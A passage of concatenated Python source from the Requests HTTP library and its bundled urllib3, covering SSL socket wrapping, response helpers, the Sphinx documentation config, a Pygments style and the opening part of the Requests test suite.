        context.set_ciphers(ciphers or DEFAULT_CIPHERS)

    context.verify_mode = cert_reqs
    if getattr(context, 'check_hostname', None) is not None:  # Platform-specific: Python 3.2
        # We do our own verification, including fingerprints and alternative
        # hostnames. So disable it here
        context.check_hostname = False
    return context


def ssl_wrap_socket(sock, keyfile=None, certfile=None, cert_reqs=None,
                    ca_certs=None, server_hostname=None,
                    ssl_version=None, ciphers=None, ssl_context=None,
                    ca_cert_dir=None):
    """
    All arguments except for server_hostname, ssl_context, and ca_cert_dir have
    the same meaning as they do when using :func:`ssl.wrap_socket`.

    :param server_hostname:
        When SNI is supported, the expected hostname of the certificate
    :param ssl_context:
        A pre-made :class:`SSLContext` object. If none is provided, one will
        be created using :func:`create_urllib3_context`.
    :param ciphers:
        A string of ciphers we wish the client to support. This is not
        supported on Python 2.6 as the ssl module does not support it.
    :param ca_cert_dir:
        A directory containing CA certificates in multiple separate files, as
        supported by OpenSSL's -CApath flag or the capath argument to
        SSLContext.load_verify_locations().
    """
    context = ssl_context
    if context is None:
        context = create_urllib3_context(ssl_version, cert_reqs,
                                         ciphers=ciphers)

    if ca_certs or ca_cert_dir:
        try:
            context.load_verify_locations(ca_certs, ca_cert_dir)
        except IOError as e:  # Platform-specific: Python 2.6, 2.7, 3.2
            raise SSLError(e)
        # Py33 raises FileNotFoundError which subclasses OSError
        # These are not equivalent unless we check the errno attribute
        except OSError as e:  # Platform-specific: Python 3.3 and beyond
            if e.errno == errno.ENOENT:
                raise SSLError(e)
            raise

    if certfile:
        context.load_cert_chain(certfile, keyfile)
    if HAS_SNI:  # Platform-specific: OpenSSL with enabled SNI
        return context.wrap_socket(sock, server_hostname=server_hostname)

    warnings.warn(
        'An HTTPS request has been made, but the SNI (Subject Name '
        'Indication) extension to TLS is not available on this platform. '
        'This may cause the server to present an incorrect TLS '
        'certificate, which can cause validation failures. You can upgrade to '
        'a newer version of Python to solve this. For more information, see '
        'https://urllib3.readthedocs.io/en/latest/security.html'
        '#snimissingwarning.',
        SNIMissingWarning
    )
    return context.wrap_socket(sock)






from __future__ import absolute_import
from ..packages.six.moves import http_client as httplib

from ..exceptions import HeaderParsingError


def is_fp_closed(obj):
    """
    Checks whether a given file-like object is closed.

    :param obj:
        The file-like object to check.
    """

    try:
        # Check via the official file-like-object way.
        return obj.closed
    except AttributeError:
        pass

    try:
        # Check if the object is a container for another file-like object that
        # gets released on exhaustion (e.g. HTTPResponse).
        return obj.fp is None
    except AttributeError:
        pass

    raise ValueError("Unable to determine whether fp is closed.")


def assert_header_parsing(headers):
    """
    Asserts whether all headers have been successfully parsed.
    Extracts encountered errors from the result of parsing headers.

    Only works on Python 3.

    :param headers: Headers to verify.
    :type headers: `httplib.HTTPMessage`.

    :raises urllib3.exceptions.HeaderParsingError:
        If parsing errors are found.
    """

    # This will fail silently if we pass in the wrong kind of parameter.
    # To make debugging easier add an explicit check.
    if not isinstance(headers, httplib.HTTPMessage):
        raise TypeError('expected httplib.Message, got {0}.'.format(
            type(headers)))

    defects = getattr(headers, 'defects', None)
    get_payload = getattr(headers, 'get_payload', None)

    unparsed_data = None
    if get_payload:  # Platform-specific: Python 3.
        unparsed_data = get_payload()

    if defects or unparsed_data:
        raise HeaderParsingError(defects=defects, unparsed_data=unparsed_data)


def is_response_to_head(response):
    """
    Checks whether the request of a response has been a HEAD-request.
    Handles the quirks of AppEngine.

    :param conn:
    :type conn: :class:`httplib.HTTPResponse`
    """
    # FIXME: Can we do this somehow without accessing private httplib _method?
    method = response._method
    if isinstance(method, int):  # Platform-specific: Appengine
        return method == 3
    return method.upper() == 'HEAD'






# -*- coding: utf-8 -*-
#
# Requests documentation build configuration file, created by
# sphinx-quickstart on Fri Feb 19 00:05:47 2016.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.

import sys
import os

# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
#sys.path.insert(0, os.path.abspath('.'))

# Insert Requests' path into the system.
sys.path.insert(0, os.path.abspath('..'))
sys.path.insert(0, os.path.abspath('_themes'))

import requests
from requests import __version__


# -- General configuration ------------------------------------------------

# If your documentation needs a minimal Sphinx version, state it here.
#needs_sphinx = '1.0'

# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
# ones.
extensions = [
    'sphinx.ext.autodoc',
    'sphinx.ext.intersphinx',
    'sphinx.ext.todo',
    'sphinx.ext.viewcode',
]

# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']

# The suffix(es) of source filenames.
# You can specify multiple suffix as a list of string:
# source_suffix = ['.rst', '.md']
source_suffix = '.rst'

# The encoding of source files.
#source_encoding = 'utf-8-sig'

# The master toctree document.
master_doc = 'index'

# General information about the project.
project = u'Requests'
copyright = u'2016. A <a href="http://kennethreitz.com/pages/open-projects.html">Kenneth Reitz</a> Project'
author = u'Kenneth Reitz'

# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
version = __version__
# The full version, including alpha/beta/rc tags.
release = __version__

# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#
# This is also used if you do content translation via gettext catalogs.
# Usually you set "language" from the command line for these cases.
language = None

# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
#today = ''
# Else, today_fmt is used as the format for a strftime call.
#today_fmt = '%B %d, %Y'

# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
exclude_patterns = ['_build']

# The reST default role (used for this markup: `text`) to use for all
# documents.
#default_role = None

# If true, '()' will be appended to :func: etc. cross-reference text.
add_function_parentheses = False

# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
add_module_names = True

# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
#show_authors = False

# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'flask_theme_support.FlaskyStyle'

# A list of ignored prefixes for module index sorting.
#modindex_common_prefix = []

# If true, keep warnings as "system message" paragraphs in the built documents.
#keep_warnings = False

# If true, `todo` and `todoList` produce output, else they produce nothing.
todo_include_todos = True


# -- Options for HTML output ----------------------------------------------

# The theme to use for HTML and HTML Help pages.  See the documentation for
# a list of builtin themes.
html_theme = 'alabaster'

# Theme options are theme-specific and customize the look and feel of a theme
# further.  For a list of options available for each theme, see the
# documentation.
html_theme_options = {
    'show_powered_by': False,
    'github_user': 'kennethreitz',
    'github_repo': 'requests',
    'github_banner': True,
    'show_related': False
}

# Add any paths that contain custom themes here, relative to this directory.
#html_theme_path = []

# The name for this set of Sphinx documents.  If None, it defaults to
# "<project> v<release> documentation".
#html_title = None

# A shorter title for the navigation bar.  Default is the same as html_title.
#html_short_title = None

# The name of an image file (relative to this directory) to place at the top
# of the sidebar.
#html_logo = None

# The name of an image file (within the static path) to use as favicon of the
# docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
#html_favicon = None

# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']

# Add any extra paths that contain custom files (such as robots.txt or
# .htaccess) here, relative to this directory. These files are copied
# directly to the root of the documentation.
#html_extra_path = []

# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
# using the given strftime format.
#html_last_updated_fmt = '%b %d, %Y'

# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
html_use_smartypants = False

# Custom sidebar templates, maps document names to template names.
html_sidebars = {
    'index':    ['sidebarintro.html', 'sourcelink.html', 'searchbox.html',
                 'hacks.html'],
    '**':       ['sidebarlogo.html', 'localtoc.html', 'relations.html',
                 'sourcelink.html', 'searchbox.html', 'hacks.html']
}

# Additional templates that should be rendered to pages, maps page names to
# template names.
#html_additional_pages = {}

# If false, no module index is generated.
#html_domain_indices = True

# If false, no index is generated.
#html_use_index = True

# If true, the index is split into individual pages for each letter.
#html_split_index = False

# If true, links to the reST sources are added to the pages.
html_show_sourcelink = False

# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
html_show_sphinx = False

# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
html_show_copyright = True

# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it.  The value of this option must be the
# base URL from which the finished HTML is served.
#html_use_opensearch = ''

# This is the file name suffix for HTML files (e.g. ".xhtml").
#html_file_suffix = None

# Language to be used for generating the HTML full-text search index.
# Sphinx supports the following languages:
#   'da', 'de', 'en', 'es', 'fi', 'fr', 'hu', 'it', 'ja'
#   'nl', 'no', 'pt', 'ro', 'ru', 'sv', 'tr'
#html_search_language = 'en'

# A dictionary with options for the search language support, empty by default.
# Now only 'ja' uses this config value
#html_search_options = {'type': 'default'}

# The name of a javascript file (relative to the configuration directory) that
# implements a search results scorer. If empty, the default will be used.
#html_search_scorer = 'scorer.js'

# Output file base name for HTML help builder.
htmlhelp_basename = 'Requestsdoc'

# -- Options for LaTeX output ---------------------------------------------

latex_elements = {
# The paper size ('letterpaper' or 'a4paper').
#'papersize': 'letterpaper',

# The font size ('10pt', '11pt' or '12pt').
#'pointsize': '10pt',

# Additional stuff for the LaTeX preamble.
#'preamble': '',

# Latex figure (float) alignment
#'figure_align': 'htbp',
}

# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title,
#  author, documentclass [howto, manual, or own class]).
latex_documents = [
    (master_doc, 'Requests.tex', u'Requests Documentation',
     u'Kenneth Reitz', 'manual'),
]

# The name of an image file (relative to this directory) to place at the top of
# the title page.
#latex_logo = None

# For "manual" documents, if this is true, then toplevel headings are parts,
# not chapters.
#latex_use_parts = False

# If true, show page references after internal links.
#latex_show_pagerefs = False

# If true, show URL addresses after external links.
#latex_show_urls = False

# Documents to append as an appendix to all manuals.
#latex_appendices = []

# If false, no module index is generated.
#latex_domain_indices = True


# -- Options for manual page output ---------------------------------------

# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
    (master_doc, 'requests', u'Requests Documentation',
     [author], 1)
]

# If true, show URL addresses after external links.
#man_show_urls = False


# -- Options for Texinfo output -------------------------------------------

# Grouping the document tree into Texinfo files. List of tuples
# (source start file, target name, title, author,
#  dir menu entry, description, category)
texinfo_documents = [
    (master_doc, 'Requests', u'Requests Documentation',
     author, 'Requests', 'One line description of project.',
     'Miscellaneous'),
]

# Documents to append as an appendix to all manuals.
#texinfo_appendices = []

# If false, no module index is generated.
#texinfo_domain_indices = True

# How to display URL addresses: 'footnote', 'no', or 'inline'.
#texinfo_show_urls = 'footnote'

# If true, do not generate a @detailmenu in the "Top" node's menu.
#texinfo_no_detailmenu = False


# -- Options for Epub output ----------------------------------------------

# Bibliographic Dublin Core info.
epub_title = project
epub_author = author
epub_publisher = author
epub_copyright = copyright

# The basename for the epub file. It defaults to the project name.
#epub_basename = project

# The HTML theme for the epub output. Since the default themes are not
# optimized for small screen space, using the same theme for HTML and epub
# output is usually not wise. This defaults to 'epub', a theme designed to save
# visual space.
#epub_theme = 'epub'

# The language of the text. It defaults to the language option
# or 'en' if the language is not set.
#epub_language = ''

# The scheme of the identifier. Typical schemes are ISBN or URL.
#epub_scheme = ''

# The unique identifier of the text. This can be a ISBN number
# or the project homepage.
#epub_identifier = ''

# A unique identification for the text.
#epub_uid = ''

# A tuple containing the cover image and cover page html template filenames.
#epub_cover = ()

# A sequence of (type, uri, title) tuples for the guide element of content.opf.
#epub_guide = ()

# HTML files that should be inserted before the pages created by sphinx.
# The format is a list of tuples containing the path and title.
#epub_pre_files = []

# HTML files that should be inserted after the pages created by sphinx.
# The format is a list of tuples containing the path and title.
#epub_post_files = []

# A list of files that should not be packed into the epub file.
epub_exclude_files = ['search.html']

# The depth of the table of contents in toc.ncx.
#epub_tocdepth = 3

# Allow duplicate toc entries.
#epub_tocdup = True

# Choose between 'default' and 'includehidden'.
#epub_tocscope = 'default'

# Fix unsupported image types using the Pillow.
#epub_fix_images = False

# Scale large images.
#epub_max_image_width = 0

# How to display URL addresses: 'footnote', 'no', or 'inline'.
#epub_show_urls = 'inline'

# If false, no index is generated.
#epub_use_index = True

intersphinx_mapping = {'urllib3': ('http://urllib3.readthedocs.io/en/latest', None)}






# flasky extensions.  flasky pygments style based on tango style
from pygments.style import Style
from pygments.token import Keyword, Name, Comment, String, Error, \
     Number, Operator, Generic, Whitespace, Punctuation, Other, Literal


class FlaskyStyle(Style):
    background_color = "#f8f8f8"
    default_style = ""

    styles = {
        # No corresponding class for the following:
        #Text:                     "", # class:  ''
        Whitespace:                "underline #f8f8f8",      # class: 'w'
        Error:                     "#a40000 border:#ef2929", # class: 'err'
        Other:                     "#000000",                # class 'x'

        Comment:                   "italic #8f5902", # class: 'c'
        Comment.Preproc:           "noitalic",       # class: 'cp'

        Keyword:                   "bold #004461",   # class: 'k'
        Keyword.Constant:          "bold #004461",   # class: 'kc'
        Keyword.Declaration:       "bold #004461",   # class: 'kd'
        Keyword.Namespace:         "bold #004461",   # class: 'kn'
        Keyword.Pseudo:            "bold #004461",   # class: 'kp'
        Keyword.Reserved:          "bold #004461",   # class: 'kr'
        Keyword.Type:              "bold #004461",   # class: 'kt'

        Operator:                  "#582800",   # class: 'o'
        Operator.Word:             "bold #004461",   # class: 'ow' - like keywords

        Punctuation:               "bold #000000",   # class: 'p'

        # because special names such as Name.Class, Name.Function, etc.
        # are not recognized as such later in the parsing, we choose them
        # to look the same as ordinary variables.
        Name:                      "#000000",        # class: 'n'
        Name.Attribute:            "#c4a000",        # class: 'na' - to be revised
        Name.Builtin:              "#004461",        # class: 'nb'
        Name.Builtin.Pseudo:       "#3465a4",        # class: 'bp'
        Name.Class:                "#000000",        # class: 'nc' - to be revised
        Name.Constant:             "#000000",        # class: 'no' - to be revised
        Name.Decorator:            "#888",           # class: 'nd' - to be revised
        Name.Entity:               "#ce5c00",        # class: 'ni'
        Name.Exception:            "bold #cc0000",   # class: 'ne'
        Name.Function:             "#000000",        # class: 'nf'
        Name.Property:             "#000000",        # class: 'py'
        Name.Label:                "#f57900",        # class: 'nl'
        Name.Namespace:            "#000000",        # class: 'nn' - to be revised
        Name.Other:                "#000000",        # class: 'nx'
        Name.Tag:                  "bold #004461",   # class: 'nt' - like a keyword
        Name.Variable:             "#000000",        # class: 'nv' - to be revised
        Name.Variable.Class:       "#000000",        # class: 'vc' - to be revised
        Name.Variable.Global:      "#000000",        # class: 'vg' - to be revised
        Name.Variable.Instance:    "#000000",        # class: 'vi' - to be revised

        Number:                    "#990000",        # class: 'm'

        Literal:                   "#000000",        # class: 'l'
        Literal.Date:              "#000000",        # class: 'ld'

        String:                    "#4e9a06",        # class: 's'
        String.Backtick:           "#4e9a06",        # class: 'sb'
        String.Char:               "#4e9a06",        # class: 'sc'
        String.Doc:                "italic #8f5902", # class: 'sd' - like a comment
        String.Double:             "#4e9a06",        # class: 's2'
        String.Escape:             "#4e9a06",        # class: 'se'
        String.Heredoc:            "#4e9a06",        # class: 'sh'
        String.Interpol:           "#4e9a06",        # class: 'si'
        String.Other:              "#4e9a06",        # class: 'sx'
        String.Regex:              "#4e9a06",        # class: 'sr'
        String.Single:             "#4e9a06",        # class: 's1'
        String.Symbol:             "#4e9a06",        # class: 'ss'

        Generic:                   "#000000",        # class: 'g'
        Generic.Deleted:           "#a40000",        # class: 'gd'
        Generic.Emph:              "italic #000000", # class: 'ge'
        Generic.Error:             "#ef2929",        # class: 'gr'
        Generic.Heading:           "bold #000080",   # class: 'gh'
        Generic.Inserted:          "#00A000",        # class: 'gi'
        Generic.Output:            "#888",           # class: 'go'
        Generic.Prompt:            "#745334",        # class: 'gp'
        Generic.Strong:            "bold #000000",   # class: 'gs'
        Generic.Subheading:        "bold #800080",   # class: 'gu'
        Generic.Traceback:         "bold #a40000",   # class: 'gt'
    }






#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""Tests for Requests."""

from __future__ import division
import json
import os
import pickle
import collections
import contextlib
import warnings

import io
import requests
import pytest
from requests.adapters import HTTPAdapter
from requests.auth import HTTPDigestAuth, _basic_auth_str
from requests.compat import (
    Morsel, cookielib, getproxies, str, urlparse,
    builtin_str, OrderedDict)
from requests.cookies import cookiejar_from_dict, morsel_to_cookie
from requests.exceptions import (
    ConnectionError, ConnectTimeout, InvalidSchema, InvalidURL,
    MissingSchema, ReadTimeout, Timeout, RetryError, TooManyRedirects,
    ProxyError, InvalidHeader)
from requests.models import PreparedRequest
from requests.structures import CaseInsensitiveDict
from requests.sessions import SessionRedirectMixin
from requests.models import urlencode
from requests.hooks import default_hooks

from .compat import StringIO, u
from .utils import override_environ

# Requests to this URL should always fail with a connection timeout (nothing
# listening on that port)
TARPIT = 'http://10.255.255.1'

try:
    from ssl import SSLContext
    del SSLContext
    HAS_MODERN_SSL = True
except ImportError:
    HAS_MODERN_SSL = False

try:
    requests.pyopenssl
    HAS_PYOPENSSL = True
except AttributeError:
    HAS_PYOPENSSL = False


class TestRequests:

    def test_entry_points(self):

        requests.session
        requests.session().get
        requests.session().head
        requests.get
        requests.head
        requests.put
        requests.patch
        requests.post

    @pytest.mark.parametrize(
        'exception, url', (
            (MissingSchema, 'hiwpefhipowhefopw'),
            (InvalidSchema, 'localhost:3128'),
            (InvalidSchema, 'localhost.localdomain:3128/'),
            (InvalidSchema, '10.122.1.1:3128/'),
            (InvalidURL, 'http://'),
        ))
    def test_invalid_url(self, exception, url):
        with pytest.raises(exception):
            requests.get(url)

    def test_basic_building(self):
        req = requests.Request()
        req.url = 'http://kennethreitz.org/'
        req.data = {'life': '42'}

        pr = req.prepare()
        assert pr.url == req.url
        assert pr.body == 'life=42'

    @pytest.mark.parametrize('method', ('GET', 'HEAD'))
    def test_no_content_length(self, httpbin, method):
        req = requests.Request(method, httpbin(method.lower())).prepare()
        assert 'Content-Length' not in req.headers

    def test_override_content_length(self, httpbin):
        headers = {
            'Content-Length': 'not zero'
        }
        r = requests.Request('POST', httpbin('post'), headers=headers).prepare()
        assert 'Content-Length' in r.headers
        assert r.headers['Content-Length'] == 'not zero'

    def test_path_is_not_double_encoded(self):
        request = requests.Request('GET', "http://0.0.0.0/get/test case").prepare()

        assert request.path_url == '/get/test%20case'

    @pytest.mark.parametrize(
        'url, expected', (
            ('http://example.com/path#fragment', 'http://example.com/path?a=b#fragment'),
            ('http://example.com/path?key=value#fragment', 'http://example.com/path?key=value&a=b#fragment')
        ))
    def test_params_are_added_before_fragment(self, url, expected):
        request = requests.Request('GET', url, params={"a": "b"}).prepare()
        assert request.url == expected

    def test_params_original_order_is_preserved_by_default(self):
        param_ordered_dict = OrderedDict((('z', 1), ('a', 1), ('k', 1), ('d', 1)))
        session = requests.Session()
        request = requests.Request('GET', 'http://example.com/', params=param_ordered_dict)
        prep = session.prepare_request(request)
        assert prep.url == 'http://example.com/?z=1&a=1&k=1&d=1'

    def test_params_bytes_are_encoded(self):
        request = requests.Request('GET', 'http://example.com',
                                   params=b'test=foo').prepare()
        assert request.url == 'http://example.com/?test=foo'

    def test_binary_put(self):
        request = requests.Request('PUT', 'http://example.com',
                                   data=u"ööö".encode("utf-8")).prepare()
        assert isinstance(request.body, bytes)

    @pytest.mark.parametrize('scheme', ('http://', 'HTTP://', 'hTTp://', 'HttP://'))
    def test_mixed_case_scheme_acceptable(self, httpbin, scheme):
        s = requests.Session()
        s.proxies = getproxies()
        parts = urlparse(httpbin('get'))
        url = scheme + parts.netloc + parts.path
        r = requests.Request('GET', url)
        r = s.send(r.prepare())
        assert r.status_code == 200, 'failed for scheme {0}'.format(scheme)

    def test_HTTP_200_OK_GET_ALTERNATIVE(self, httpbin):
        r = requests.Request('GET', httpbin('get'))
        s = requests.Session()
        s.proxies = getproxies()

        r = s.send(r.prepare())

        assert r.status_code == 200

    def test_HTTP_302_ALLOW_REDIRECT_GET(self, httpbin):
        r = requests.get(httpbin('redirect', '1'))
        assert r.status_code == 200
        assert r.history[0].status_code == 302
        assert r.history[0].is_redirect

    def test_HTTP_302_TOO_MANY_REDIRECTS(self, httpbin):
        try:
            requests.get(httpbin('relative-redirect', '50'))
        except TooManyRedirects as e:
            url = httpbin('relative-redirect', '20')
            assert e.request.url == url
            assert e.response.url == url
            assert len(e.response.history) == 30
        else:
            pytest.fail('Expected redirect to raise TooManyRedirects but it did not')

    def test_HTTP_302_TOO_MANY_REDIRECTS_WITH_PARAMS(self, httpbin):
        s = requests.session()
        s.max_redirects = 5
        try:
            s.get(httpbin('relative-redirect', '50'))
        except TooManyRedirects as e:
            url = httpbin('relative-redirect', '45')
            assert e.request.url == url
            assert e.response.url == url
            assert len(e.response.history) == 5
        else:
            pytest.fail('Expected custom max number of redirects to be respected but was not')

    def test_http_301_changes_post_to_get(self, httpbin):
        r = requests.post(httpbin('status', '301'))
        assert r.status_code == 200
        assert r.request.method == 'GET'
        assert r.history[0].status_code == 301
        assert r.history[0].is_redirect

    def test_http_301_doesnt_change_head_to_get(self, httpbin):
        r = requests.head(httpbin('status', '301'), allow_redirects=True)
        print(r.content)
        assert r.status_code == 200
        assert r.request.method == 'HEAD'
        assert r.history[0].status_code == 301
        assert r.history[0].is_redirect

    def test_http_302_changes_post_to_get(self, httpbin):
        r = requests.post(httpbin('status', '302'))
        assert r.status_code == 200
        assert r.request.method == 'GET'
        assert r.history[0].status_code == 302
        assert r.history[0].is_redirect

    def test_http_302_doesnt_change_head_to_get(self, httpbin):
        r = requests.head(httpbin('status', '302'), allow_redirects=True)
        assert r.status_code == 200
        assert r.request.method == 'HEAD'
        assert r.history[0].status_code == 302
        assert r.history[0].is_redirect

    def test_http_303_changes_post_to_get(self, httpbin):
        r = requests.post(httpbin('status', '303'))
        assert r.status_code == 200
        assert r.request.method == 'GET'
        assert r.history[0].status_code == 303
        assert r.history[0].is_redirect

    def test_http_303_doesnt_change_head_to_get(self, httpbin):
        r = requests.head(httpbin('status', '303'), allow_redirects=True)
        assert r.status_code == 200
        assert r.request.method == 'HEAD'
        assert r.history[0].status_code == 303
        assert r.history[0].is_redirect

    def test_header_and_body_removal_on_redirect(self, httpbin):
        purged_headers = ('Content-Length', 'Content-Type')
        ses = requests.Session()
        req = requests.Request('POST', httpbin('post'), data={'test': 'data'})
        prep = ses.prepare_request(req)
        resp = ses.send(prep)

        # Mimic a redirect response
        resp.status_code = 302
        resp.headers['location'] = 'get'

        # Run request through resolve_redirects
        next_resp = next(ses.resolve_redirects(resp, prep))
        assert next_resp.request.body is None
        for header in purged_headers:
            assert header not in next_resp.request.headers

    def test_transfer_enc_removal_on_redirect(self, httpbin):
        purged_headers = ('Transfer-Encoding', 'Content-Type')
        ses = requests.Session()
        req = requests.Request('POST', httpbin('post'), data=(b'x' for x in range(1)))
        prep = ses.prepare_request(req)
        assert 'Transfer-Encoding' in prep.headers

        # Create Response to avoid https://github.com/kevin1024/pytest-httpbin/issues/33
        resp = requests.Response()
        resp.raw = io.BytesIO(b'the content')
        resp.request = prep
        setattr(resp.raw, 'release_conn', lambda *args: args)

        # Mimic a redirect response
        resp.status_code = 302
        resp.headers['location'] = httpbin('get')

        # Run request through resolve_redirect
        next_resp = next(ses.resolve_redirects(resp, prep))
        assert next_resp.request.body is None
        for header in purged_headers:
            assert header not in next_resp.request.headers

    def test_HTTP_200_OK_GET_WITH_PARAMS(self, httpbin):
        heads = {'User-agent': 'Mozilla/5.0'}

        r = requests.get(httpbin('user-agent'), headers=heads)

        assert heads['User-agent'] in r.text
        assert r.status_code == 200

    def test_HTTP_200_OK_GET_WITH_MIXED_PARAMS(self, httpbin):
        heads = {'User-agent': 'Mozilla/5.0'}

        r = requests.get(httpbin('get') + '?test=true', params={'q': 'test'}, headers=heads)
        assert r.status_code == 200

    def test_set_cookie_on_301(self, httpbin):
        s = requests.session()
        url = httpbin('cookies/set?foo=bar')
        s.get(url)
        assert s.cookies['foo'] == 'bar'

    def test_cookie_sent_on_redirect(self, httpbin):
        s = requests.session()
        s.get(httpbin('cookies/set?foo=bar'))
        r = s.get(httpbin('redirect/1'))  # redirects to httpbin('get')
        assert 'Cookie' in r.json()['headers']

    def test_cookie_removed_on_expire(self, httpbin):
        s = requests.session()
        s.get(httpbin('cookies/set?foo=bar'))
        assert s.cookies['foo'] == 'bar'
        s.get(
            httpbin('response-headers'),
            params={
                'Set-Cookie':
                    'foo=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT'
            }
        )
        assert 'foo' not in s.cookies

    def test_cookie_quote_wrapped(self, httpbin):
        s = requests.session()
        s.get(httpbin('cookies/set?foo="bar:baz"'))
        assert s.cookies['foo'] == '"bar:baz"'

    def test_cookie_persists_via_api(self, httpbin):
        s = requests.session()
        r = s.get(httpbin('redirect/1'), cookies={'foo': 'bar'})
        assert 'foo' in r.request.headers['Cookie']
        assert 'foo' in r.history[0].request.headers['Cookie']

    def test_request_cookie_overrides_session_cookie(self, httpbin):
        s = requests.session()
        s.cookies['foo'] = 'bar'
        r = s.get(httpbin('cookies'), cookies={'foo': 'baz'})
        assert r.json()['cookies']['foo'] == 'baz'
        # Session cookie should not be modified
        assert s.cookies['foo'] == 'bar'

    def test_request_cookies_not_persisted(self, httpbin):
        s = requests.session()
        s.get(httpbin('cookies'), cookies={'foo': 'baz'})
        # Sending a request with cookies should not add cookies to the session
        assert not s.cookies

    def test_generic_cookiejar_works(self, httpbin):
        cj = cookielib.CookieJar()
        cookiejar_from_dict({'foo': 'bar'}, cj)
        s = requests.session()
        s.cookies = cj
        r = s.get(httpbin('cookies'))
        # Make sure the cookie was sent
        assert r.json()['cookies']['foo'] == 'bar'
        # Make sure the session cj is still the custom one
        assert s.cookies is cj

    def test_param_cookiejar_works(self, httpbin):
        cj = cookielib.CookieJar()
        cookiejar_from_dict({'foo': 'bar'}, cj)
        s = requests.session()
        r = s.get(httpbin('cookies'), cookies=cj)
        # Make sure the cookie was sent
        assert r.json()['cookies']['foo'] == 'bar'

    def test_requests_in_history_are_not_overridden(self, httpbin):
        resp = requests.get(httpbin('redirect/3'))
        urls = [r.url for r in resp.history]
        req_urls = [r.request.url for r in resp.history]
        assert urls == req_urls

    def test_history_is_always_a_list(self, httpbin):
        """Show that even with redirects, Response.history is always a list."""
        resp = requests.get(httpbin('get'))
        assert isinstance(resp.history, list)
        resp = requests.get(httpbin('redirect/1'))
        assert isinstance(resp.history, list)
        assert not isinstance(resp.history, tuple)

    def test_headers_on_session_with_None_are_not_sent(self, httpbin):
        """Do not send headers in Session.headers with None values."""
        ses = requests.Session()
        ses.headers['Accept-Encoding'] = None
        req = requests.Request('GET', httpbin('get'))
        prep = ses.prepare_request(req)
        assert 'Accept-Encoding' not in prep.headers

    def test_headers_preserve_order(self, httpbin):
        """Preserve order when headers provided as OrderedDict."""
        ses = requests.Session()
        ses.headers = OrderedDict()
        ses.headers['Accept-Encoding'] = 'identity'
        ses.headers['First'] = '1'
        ses.headers['Second'] = '2'
        headers = OrderedDict([('Third', '3'), ('Fourth', '4')])
        headers['Fifth'] = '5'
        headers['Second'] = '222'
        req = requests.Request('GET', httpbin('get'), headers=headers)
        prep = ses.prepare_request(req)
        items = list(prep.headers.items())
        assert items[0] == ('Accept-Encoding', 'identity')
        assert items[1] == ('First', '1')
        assert items[2] == ('Second', '222')
        assert items[3] == ('Third', '3')
        assert items[4] == ('Fourth', '4')
        assert items[5] == ('Fifth', '5')

    @pytest.mark.parametrize('key', ('User-agent', 'user-agent'))
    def test_user_agent_transfers(self, httpbin, key):

        heads = {key: 'Mozilla/5.0 (github.com/kennethreitz/requests)'}

        r = requests.get(httpbin('user-agent'), headers=heads)
        assert heads[key] in r.text

    def test_HTTP_200_OK_HEAD(self, httpbin):
        r = requests.head(httpbin('get'))
        assert r.status_code == 200

    def test_HTTP_200_OK_PUT(self, httpbin):
        r = requests.put(httpbin('put'))
        assert r.status_code == 200

    def test_BASICAUTH_TUPLE_HTTP_200_OK_GET(self, httpbin):
        auth = ('user', 'pass')
        url = httpbin('basic-auth', 'user', 'pass')

        r = requests.get(url, auth=auth)
        assert r.status_code == 200

        r = requests.get(url)
        assert r.status_code == 401

        s = requests.session()
        s.auth = auth
        r = s.get(url)
        assert r.status_code == 200

    @pytest.mark.parametrize(
        'url, exception', (
            # Connecting to an unknown domain should raise a ConnectionError
            ('http://doesnotexist.google.com', ConnectionError),
            # Connecting to an invalid port should raise a ConnectionError
            ('http://localhost:1', ConnectionError),
            # Inputing a URL that cannot be parsed should raise an InvalidURL error
            ('http://fe80::5054:ff:fe5a:fc0', InvalidURL)
        ))
    def test_errors(self, url, exception):
        with pytest.raises(exception):
            requests.get(url, timeout=1)

    def test_proxy_error(self):
        # any proxy related error (address resolution, no route to host, etc) should result in a ProxyError
        with pytest.raises(ProxyError):
            requests.get('http://localhost:1', proxies={'http': 'non-resolvable-address'})

    def test_basicauth_with_netrc(self, httpbin):
        auth = ('user', 'pass')
        wrong_auth = ('wronguser', 'wrongpass')
        url = httpbin('basic-auth', 'user', 'pass')

        old_auth = requests.sessions.get_netrc_auth

        try:
            def get_netrc_auth_mock(url):
                return auth
            requests.sessions.get_netrc_auth = get_netrc_auth_mock

            # Should use netrc and work.
            r = requests.get(url)
            assert r.status_code == 200

            # Given auth should override and fail.
            r = requests.get(url, auth=wrong_auth)
            assert r.status_code == 401

            s = requests.session()

            # Should use netrc and work.
            r = s.get(url)
            assert r.status_code == 200

            # Given auth should override and fail.
            s.auth = wrong_auth
            r = s.get(url)
            assert r.status_code == 401
        finally:
            requests.sessions.get_netrc_auth = old_auth

    def test_DIGEST_HTTP_200_OK_GET(self, httpbin):

        auth = HTTPDigestAuth('user', 'pass')
